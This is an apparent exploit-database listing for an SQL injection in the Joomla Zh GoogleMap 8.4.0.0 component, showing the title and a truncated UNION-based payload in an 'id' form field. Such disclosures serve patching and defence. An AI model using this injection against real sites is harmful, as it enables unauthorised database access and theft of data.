Joomla! Component Zh GoogleMap 8.4.0.0 - SQL Injection

Joomla! Component Zh GoogleMap 8.4.0.0 - SQL Injection input name="id" value="-11 UNION ALL SELECT...